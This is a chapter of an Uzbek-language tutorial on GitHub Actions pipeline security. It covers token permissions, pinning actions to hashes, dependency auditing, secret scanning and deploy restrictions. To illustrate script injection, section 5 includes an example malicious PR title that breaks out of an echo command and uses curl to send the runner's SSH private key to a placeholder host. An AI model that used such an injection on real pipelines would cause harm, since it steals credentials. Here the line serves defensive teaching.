19-bo‘lim

Quvur xavfsizligi

GITHUB_TOKEN ruxsatlari, amallarni xeshga qadash, bog'liqliklarni tekshirish, sir sizishi va ta'minot zanjiri hujumlari.

🕑 10 daqiqa o‘qish 📄 899 so‘z 👁 0 marta ko‘rilgan
Ushbu bo‘lim mundarijasi
  1. Ta'minot zanjiri hujumi nima
  2. 1. Ruxsatlarni cheklash
  3. 2. Amallarni versiyaga emas, xeshga qadash
  4. 3. Bog'liqliklarni tekshirish
  5. 4. Sir sizishining oldini olish
  6. 5. Skriptlarga begona matn qo'ymang
  7. 6. Deploy huquqlarini cheklash
  8. Tekshirish ro'yxati
  9. Xulosa

Quvur - sirlarga ega va serverga ulana oladigan kod. Shuning uchun u hujumchilar uchun qimmatli nishon: kodni buzishning eng qulay yo'li - uni chiqaradigan quvurni buzish.

Ta'minot zanjiri hujumi nima #

Hujumchi sizning kodingizga emas, siz ishonadigan narsaga hujum qiladi:

NishonQanday ishlaydi
Tayyor amal (action)Ommabop amal egallanadi, unga zararli kod qo'shiladi
npm paketiKichik paket sotib olinadi yoki egallanadi
Asosiy obrazFROM dagi obrazga zararli qatlam qo'shiladi
Bog'liqlikning bog'liqligiSiz bilmagan, lekin o'rnatiladigan paket

Bularning hammasi sizning quvuringizda, sizning sirlaringiz bilan ishlaydi.

1. Ruxsatlarni cheklash #

GITHUB_TOKEN ning huquqlari sukut bo'yicha keng bo'lishi mumkin. Har bir workflow uchun ularni aniq yozing:

YAML
permissions:
  contents: read

Keyin faqat kerak bo'lgan jobga qo'shimcha beriladi:

YAML
jobs:
  obraz:
    permissions:
      contents: read
      packages: write
    runs-on: ubuntu-latest
RuxsatQachon kerak
contents: readKodni o'qish - deyarli har doim
contents: writeReliz yaratish, teg qo'yish
packages: writeRegistry'ga obraz yuborish
pull-requests: writePR ga izoh yozish
id-token: writeOIDC bilan bulutga ulanish
Butun tashkilot uchun standartni o'rnating

Settings -> Actions -> General -> Workflow permissions bo'limida sukutdagi ruxsatni read-only qilib qo'ying.

Shundan keyin har bir yozish huquqi workflow faylida aniq so'ralishi kerak bo'ladi - va bu fayl ko'rib chiqishdan o'tadi.

2. Amallarni versiyaga emas, xeshga qadash #

@v4 yozuvi qulay, lekin u harakatlanuvchi nishon: egasi v4 tegini istalgan kodga ko'chirishi mumkin.

YAML
      # qulay, lekin teg ko'chirilishi mumkin
      - uses: actions/checkout@v4

      # xesh - o'zgarmas
      - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11  # v4.1.1
YozuvXavfsizligiQulayligi
@mainEng yomon - har o'zgarish darhol tushadi-
@v4O'rtacha - teg ko'chirilishi mumkinYuqori
@v4.1.1Yaxshi, lekin teg baribir ko'chirilishi mumkinYuqori
@<xesh>Eng yaxshi - kod o'zgarmaydiPast - qo'lda yangilanadi

Xeshga qadash zerikarli, lekin Dependabot uni avtomatik yangilab turadi:

YAML
version: 2
updates:
  - package-ecosystem: github-actions
    directory: /
    schedule:
      interval: weekly

Bu fayl .github/dependabot.yml ga yoziladi va har hafta amallarning yangi versiyasi uchun PR ochadi.

Ishonch zanjiri - eng zaif bo'g'in bo'yicha Sizning kodingiz ko'rib chiqiladi Tayyor amallar begona kod Paketlar yuzlab bog'liqlik Asosiy obraz FROM node:22 Har bir bo'g'in sizning sirlaringiz bilan bir muhitda ishlaydi • Amallarni xeshga qadang - teg ko'chirilishi mumkin • Bog'liqliklarni lock-fayl bilan qoting va muntazam tekshiring • Obrazni aniq versiya bilan oling: node:22.11-alpine, latest emas
Quvuringiz o'zi ishonadigan har bir narsa qadar xavfsiz

3. Bog'liqliklarni tekshirish #

YAML
      - name: Zaifliklarni tekshirish
        run: npm audit --audit-level=high

      - name: Bog'liqlik o'zgarishini ko'rib chiqish
        uses: actions/dependency-review-action@v4

dependency-review-action PR da qo'shilayotgan yangi bog'liqliklarni tekshiradi va ma'lum zaiflik bo'lsa, PR ni to'xtatadi.

npm audit ni ko'r-ko'rona --fix qilmang

npm audit fix --force major versiyalarni ham ko'taradi va ilovani buzishi mumkin.

To'g'ri tartib: hisobotni o'qing, qaysi zaiflik sizga tegishli ekanini aniqlang (ba'zilari faqat ishlab chiqish paytida ishlatiladigan paketlarda bo'ladi), keyin nishonga qarab yangilang.

4. Sir sizishining oldini olish #

XavfChora
Sir kodga yozib yuborilganPush protection va secret scanning yoqing
Sir jurnalda ko'rinib qoldiSirni chop etmang, set -x ishlatmang
Sir artefaktga tushdipath: ni aniq yozing (9-bo'lim)
Fork PR sirlarni oldipull_request_target dan ehtiyot bo'ling (11-bo'lim)

Settings -> Code security bo'limida ikkita bepul imkoniyat bor:

ImkoniyatNima qiladi
Secret scanningRepozitoriyda sirlarni qidiradi va topilsa xabar beradi
Push protectionSir yozilgan kommitni push qilishga umuman yo'l qo'ymaydi

5. Skriptlarga begona matn qo'ymang #

Bu eng nozik xavflardan biri:

YAML
      # XAVFLI: sarlavha to'g'ridan-to'g'ri skriptga qo'yiladi
      - run: echo "Yangi PR - ${{ github.event.pull_request.title }}"

PR sarlavhasini har kim yozadi. Unga shunday matn qo'yish mumkin:

Natija
Tuzatish"; curl -d "$(cat ~/.ssh/id_rsa)" https://yomon.misol; echo "

Natijada sizning quvuringiz begona buyruqni bajaradi. To'g'ri yo'l - qiymatni env orqali berish:

YAML
      - name: Xavfsiz
        env:
          SARLAVHA: ${{ github.event.pull_request.title }}
        run: echo "Yangi PR - $SARLAVHA"

Endi matn skriptga emas, o'zgaruvchiga tushadi va shell uni buyruq sifatida o'qimaydi.

Qaysi maydonlar ishonchsiz

Foydalanuvchi yoza oladigan har qanday narsa ishonchsiz:

MaydonIzoh
github.event.pull_request.titlePR sarlavhasi
github.event.pull_request.bodyPR tavsifi
github.event.issue.titleMuammo sarlavhasi
github.event.comment.bodyIzoh matni
github.event.head_commit.messageKommit xabari
github.head_refTarmoq nomi

Ularni hech qachon run: ichiga to'g'ridan-to'g'ri qo'ymang.

6. Deploy huquqlarini cheklash #

QoidaIzoh
Deploy faqat main danif: github.ref == 'refs/heads/main'
Ishlab chiqarish muhitida tasdiq11-bo'limdagi environment
Alohida deploy kaliti15-bo'limdagi cheklangan SSH kaliti
Sirlar muhit bo'yicha ajratilganSinov kaliti ishlab chiqarishga kirmaydi
Workflow fayllariga CODEOWNERS10-bo'limdagi qoida

Tekshirish ro'yxati #

Quvuringizni shu ro'yxat bo'yicha ko'rib chiqing:

Natija
[ ] permissions: contents: read - butun workflow uchun standart
[ ] Yozish huquqi faqat kerak bo'lgan jobda
[ ] Amallar xeshga qadalgan yoki hech bo'lmasa aniq versiyada
[ ] Dependabot amallar va paketlar uchun yoqilgan
[ ] npm audit (yoki mos vosita) quvurda ishlaydi
[ ] Secret scanning va push protection yoqilgan
[ ] Foydalanuvchi matni run: ichida ishlatilmaydi
[ ] pull_request_target ishlatilmaydi yoki kodga tegmaydi
[ ] Ishlab chiqarish muhitida majburiy tasdiq bor
[ ] .github/workflows/ uchun CODEOWNERS belgilangan
Amaliy topshiriq
  1. Barcha workflow fayllaringizga permissions: contents: read qo'shing.
  2. Qaysi joblarga yozish huquqi kerakligini aniqlab, faqat ularga bering.
  3. Ruxsatni olib tashlab, quvur qanday xato berishini ko'ring.
  4. Bitta amalni xeshga qadang va yoniga versiya izohini yozing.
  5. .github/dependabot.yml yaratib, amallar uchun haftalik tekshiruv yoqing.
  6. npm audit ni quvurga qo'shing va natijani o'qing.
  7. Sozlamalarda secret scanning va push protection ni yoqing.
  8. Sinov sifatida soxta kalitni kommit qilishga urinib ko'ring va bloklanishini kuzating.
  9. PR sarlavhasini run: ichida ishlatadigan qadamni env orqali xavfsiz qilib qayta yozing.
  10. Yuqoridagi tekshirish ro'yxatini o'z loyihangizga qo'llang va natijani yozing.

Xulosa #

  • Quvur - sirlarga ega kod, shuning uchun u alohida nishon.
  • Ta'minot zanjiri hujumi sizning kodingizga emas, siz ishonadigan narsaga qaratiladi.
  • Har bir workflow'da permissions ni aniq yozing; standart - contents: read.
  • Amallarni xeshga qadash eng xavfsiz usul; Dependabot ularni yangilab turadi.
  • @main ga hech qachon bog'lanmang - bu har qanday o'zgarishni darhol qabul qilish demak.
  • npm audit va dependency-review-action bog'liqliklardagi zaifliklarni topadi.
  • npm audit fix --force ilovani buzishi mumkin - hisobotni avval o'qing.
  • Secret scanning va push protection bepul va bir bosishda yoqiladi.
  • Foydalanuvchi yozgan matnni (PR sarlavhasi, izoh) run: ichiga qo'ymang - env orqali bering.
  • Deploy huquqlari cheklangan bo'lsin: faqat main, majburiy tasdiq, alohida kalit.

Keyingi, yakuniy bo'limda o'rgangan hamma narsani bitta to'liq quvurga yig'amiz.

Xatolik topdingizmi?

Imlo xatosi, ishlamaydigan kod yoki noto‘g‘ri ma‘lumotni ko‘rsangiz - bizga xabar bering. Har bir xabar administrator tomonidan ko‘rib chiqiladi.